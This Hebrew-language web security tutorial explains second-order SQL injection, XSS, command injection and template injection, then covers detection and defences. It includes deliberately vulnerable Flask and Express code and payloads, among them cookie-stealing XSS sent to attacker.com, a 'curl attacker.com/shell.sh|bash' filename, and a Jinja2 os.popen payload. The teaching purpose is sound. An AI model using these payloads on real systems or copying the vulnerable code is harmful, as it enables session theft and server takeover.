לדלג לתוכן

חולשות מסדר שני - Second-Order Attacks

מבוא

חולשות מסדר שני הן חולשות שבהן ה-payload מוזרק בשלב אחד אבל מופעל בשלב אחר, לעיתים בהקשר שונה לחלוטין. זה הופך אותן לקשות מאוד לזיהוי - כי נקודת הinjection ונקודת ההפעלה מופרדות.

בחולשה רגילה (מסדר ראשון), ה-payload מוזרק ומופעל באותה בקשה. בחולשה מסדר שני:
1. ה-payload נשמר במערכת (מסד נתונים, קובץ, לוג)
2. בשלב מאוחר יותר, המערכת קוראת את הנתון השמור ומשתמשת בו בצורה לא בטוחה


הinjection SQL מסדר שני - Second-Order SQLi

התרחיש

נניח שיש לנו מערכת רישום משתמשים:

# Step 1 - registration (the input is stored safely)
@app.route('/register', methods=['POST'])
def register():
    username = request.form['username']
    password = request.form['password']
    email = request.form['email']

    # Using a parameterized query - safe!
    cursor.execute(
        "INSERT INTO users (username, password, email) VALUES (%s, %s, %s)",
        (username, hash_password(password), email)
    )
    db.commit()
    return "User registered successfully"
# Step 2 - password change (the old input is read and used unsafely)
@app.route('/change-password', methods=['POST'])
def change_password():
    new_password = request.form['new_password']
    username = session['username']  # read from the database - "safe"?

    # Vulnerable! The username from the database is inserted directly into the query
    query = f"UPDATE users SET password='{hash_password(new_password)}' WHERE username='{username}'"
    cursor.execute(query)
    db.commit()
    return "Password changed"

התקיפה

Step 1 - register with a malicious username:
    Username: admin'--
    Password: anything

Step 2 - the registration succeeds because the input goes through a parameterized query
    INSERT INTO users (username, password, email) VALUES ('admin''-- ', 'hash', 'evil@mail.com')

Step 3 - the attacker logs in with admin'-- and changes the password
    The query that's created:
    UPDATE users SET password='new_hash' WHERE username='admin'-- '

    What actually happens:
    UPDATE users SET password='new_hash' WHERE username='admin'
    (the comment deletes the rest of the query)

Step 4 - admin's password has changed! The attacker can log in as admin

דוגמה מלאה יותר

from flask import Flask, request, session
import sqlite3

app = Flask(__name__)
app.secret_key = 'secret'

def get_db():
    db = sqlite3.connect('app.db')
    return db

# Registration - safe (parameterized)
@app.route('/register', methods=['POST'])
def register():
    db = get_db()
    username = request.form['username']
    password = request.form['password']

    # Parameterized - the input is stored as-is, including special characters
    db.execute("INSERT INTO users (username, password) VALUES (?, ?)",
               (username, password))
    db.commit()
    return "Registered!"

# View profile - safe
@app.route('/profile')
def profile():
    db = get_db()
    username = session['username']
    # Parameterized - safe
    user = db.execute("SELECT * FROM users WHERE username = ?", (username,)).fetchone()
    return f"Welcome {user[0]}"

# Change password - vulnerable!
@app.route('/change-password', methods=['POST'])
def change_password():
    db = get_db()
    new_password = request.form['new_password']
    username = session['username']  # read from the session, which was read from the database

    # Vulnerable! string formatting with a value from the database
    query = f"UPDATE users SET password = '{new_password}' WHERE username = '{username}'"
    db.execute(query)
    db.commit()
    return "Password changed!"

# User list for the admin - vulnerable!
@app.route('/admin/users')
def list_users():
    db = get_db()
    users = db.execute("SELECT username, email FROM users").fetchall()

    html = "<h1>Users</h1><table>"
    for user in users:
        # Vulnerable! The username is displayed without escaping
        html += f"<tr><td>{user[0]}</td><td>{user[1]}</td></tr>"
    html += "</table>"
    return html

XSS מסדר שני - Second-Order XSS

התרחיש

ה-payload של XSS נשמר בפרופיל המשתמש ומופעל כשמשתמש אחר (או מנהל) צופה בו.

קוד פגיע

// Node.js/Express server

// Update profile - the input is stored
app.post('/profile/update', async (req, res) => {
    const { displayName, bio } = req.body;

    // The input is stored as-is - no filtering
    await User.updateOne(
        { _id: req.user.id },
        { displayName, bio }
    );

    res.json({ success: true });
});

// View profile - the input is displayed
app.get('/user/:id', async (req, res) => {
    const user = await User.findById(req.params.id);

    // Vulnerable! Data from the database is inserted directly into HTML
    res.send(`
        <h1>${user.displayName}</h1>
        <p>${user.bio}</p>
    `);
});

// Admin panel - all users
app.get('/admin/users', async (req, res) => {
    const users = await User.find();

    let html = '<h1>All Users</h1><table>';
    for (const user of users) {
        // Vulnerable! Usernames are displayed without escaping
        html += `<tr><td>${user.displayName}</td><td>${user.email}</td></tr>`;
    }
    html += '</table>';
    res.send(html);
});

התקיפה

Step 1 - update profile with a payload:
    displayName: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
    bio: Normal bio text

Step 2 - the payload is stored in the database

Step 3 - when an admin views the admin panel, the JavaScript executes in their browser
    -> The admin's cookie is sent to the attacker

XSS מסדר שני דרך שם קובץ

# Step 1 - upload a file with a malicious name
# Filename: "><img src=x onerror=alert(1)>.png

@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    # The filename is stored as-is
    filename = file.filename
    file.save(os.path.join('uploads', filename))
    db.execute("INSERT INTO files (name, user_id) VALUES (?, ?)",
               (filename, session['user_id']))
    return "File uploaded"

# Step 2 - display the file list
@app.route('/files')
def list_files():
    files = db.execute("SELECT name FROM files WHERE user_id = ?",
                       (session['user_id'],)).fetchall()
    html = "<h1>Your Files</h1><ul>"
    for f in files:
        html += f"<li>{f[0]}</li>"  # Vulnerable! The filename is displayed without escaping
    html += "</ul>"
    return html

דוגמאות נוספות של חולשות מסדר שני

הinjection פקודות מערכת הפעלה - Second-Order Command Injection

# Step 1 - save the filename
@app.route('/upload', methods=['POST'])
def upload():
    file = request.files['file']
    filename = file.filename  # stored as-is
    file.save(f'uploads/{filename}')
    db.execute("INSERT INTO files (name) VALUES (?)", (filename,))
    return "Uploaded"

# Step 2 - process the file (cronjob or a later action)
def process_files():
    files = db.execute("SELECT name FROM files WHERE processed = 0").fetchall()
    for f in files:
        # Vulnerable! The filename is inserted directly into a system command
        os.system(f"convert uploads/{f[0]} processed/{f[0]}")
        db.execute("UPDATE files SET processed = 1 WHERE name = ?", (f[0],))

# Malicious filename:
# ;curl attacker.com/shell.sh|bash;.png
# or:
# $(whoami).png

SSTI מסדר שני

# Step 1 - save a custom email template
@app.route('/settings/email-template', methods=['POST'])
def save_template():
    template = request.form['template']
    # stored as-is
    db.execute("UPDATE settings SET email_template = ? WHERE user_id = ?",
               (template, session['user_id']))
    return "Template saved"

# Step 2 - send an email (render the template)
def send_notification(user_id, data):
    template = db.execute(
        "SELECT email_template FROM settings WHERE user_id = ?", (user_id,)
    ).fetchone()[0]

    # Vulnerable! The template from the database is processed as Jinja2
    rendered = render_template_string(template, **data)
    send_email(rendered)

# payload in the template:
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

זיהוי חולשות מסדר שני

אסטרטגיה

  1. מיפוי נקודות קלט ופלט - זהו כל מקום שנתון נשמר, וכל מקום שנתון שמור מוצג או משמש
  2. עקבו אחרי הנתונים - עקבו אחרי הנתיב של כל קלט: איפה הוא נשמר, ואיפה הוא נקרא בחזרה
  3. בדקו הקשרים שונים - payload שנשמר בהקשר אחד עשוי להיות מסוכן בהקשר אחר
  4. בדקו פעולות מנהל - מנהלים צופים בנתונים שמשתמשים רגילים שומרים

טכניקות בדיקה

Username: admin'--
Username: <script>alert(1)</script>
Username: {{7*7}}
Username: ${7*7}
Username: ;id;

Filename: test;id;.txt
Filename: test$(whoami).txt
Filename: "><img src=x onerror=alert(1)>.txt

Bio: <img src=x onerror=alert(document.cookie)>
Bio: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

כלים לזיהוי

Burp Suite - using a passive scanner that tracks stored data
OWASP ZAP - active scanning with a second-order profile
Manual - Collaborator payloads at every input point and checking over time

אסטרטגיות exploit מתקדמות

הexploit מעוכב בזמן

# A payload that only triggers on a scheduled action
# For example - a daily report sent to admins

# Step 1 - save a payload in the profile
display_name = "<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>"

# Step 2 - wait for the daily report to be generated and sent to the admin
# The report contains the names of all registered users
# The XSS fires when the admin opens the report

הchaining עם חולשות אחרות

1. Second-order SQLi -> credentials exposure -> access to the admin panel
2. Second-order XSS -> stealing an admin cookie -> access to the admin panel
3. Second-order SSTI -> RCE -> full control of the server
4. Second-order Command Injection -> reverse shell

הגנה מפני חולשות מסדר שני

עקרון 1 - סינון בפלט, לא רק בקלט

# Not enough - filtering only on input
def save_user(username):
    safe_name = sanitize(username)
    db.execute("INSERT INTO users VALUES (?)", (safe_name,))

# Required - filter on output too, based on context
def display_user(user_id):
    user = db.execute("SELECT username FROM users WHERE id = ?", (user_id,)).fetchone()

    # HTML context - escape HTML entities
    safe_name = html.escape(user[0])
    return f"<h1>{safe_name}</h1>"

עקרון 2 - encoding מותאם הקשר

import html
import shlex
import re

def display_in_html(value):
    """For display inside HTML"""
    return html.escape(value)

def use_in_sql(value):
    """For use in a SQL query - always parameterized"""
    # Never use string formatting
    cursor.execute("SELECT * FROM users WHERE name = %s", (value,))

def use_in_command(value):
    """For use in a system command"""
    safe_value = shlex.quote(value)
    os.system(f"echo {safe_value}")

def use_in_template(value):
    """For use in a template - pass as a parameter"""
    return render_template('page.html', name=value)

def use_in_ldap(value):
    """For use in an LDAP filter"""
    special_chars = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\0': '\\00'}
    for char, escape in special_chars.items():
        value = value.replace(char, escape)
    return value

עקרון 3 - שימוש עקבי ב-Parameterized Queries

# Every query must be parameterized, even if the value seems "safe"
# because the "safe" value from the database may contain a second-order payload

# Vulnerable
def change_password(username, new_password):
    query = f"UPDATE users SET password='{new_password}' WHERE username='{username}'"
    cursor.execute(query)

# Safe
def change_password(username, new_password):
    cursor.execute(
        "UPDATE users SET password = %s WHERE username = %s",
        (new_password, username)
    )

עקרון 4 - אל תסמכו על נתונים מהמסד

# Wrong assumption: "the value was already validated when it was stored"
# Correct assumption: "any value, from any source, could be dangerous"

def process_data(user_id):
    user = db.execute("SELECT * FROM users WHERE id = ?", (user_id,)).fetchone()
    username = user['username']

    # Even though it comes from the database - treat it as untrusted input
    # and perform encoding/escaping based on the usage context

סיכום

חולשות מסדר שני הן מהקשות ביותר לזיהוי ולתיקון. הנקודות העיקריות:

  • ה-payload נשמר בשלב אחד ומופעל בשלב אחר - לעיתים שעות או ימים אחרי
  • רוב הסורקים האוטומטיים לא מזהים אותן כי הם לא עוקבים אחרי נתונים שמורים
  • ההגנה דורשת סינון בפלט ולא רק בקלט - כל פעם שנתון מוצג או משמש, יש לבצע encoding מתאים להקשר
  • לעולם לא לסמוך על נתונים מהמסד - הם עשויים להכיל payloads שהוזרקו מוקדם יותר
  • שימוש עקבי ב-parameterized queries בכל query, גם כשהנתון נראה "בטוח"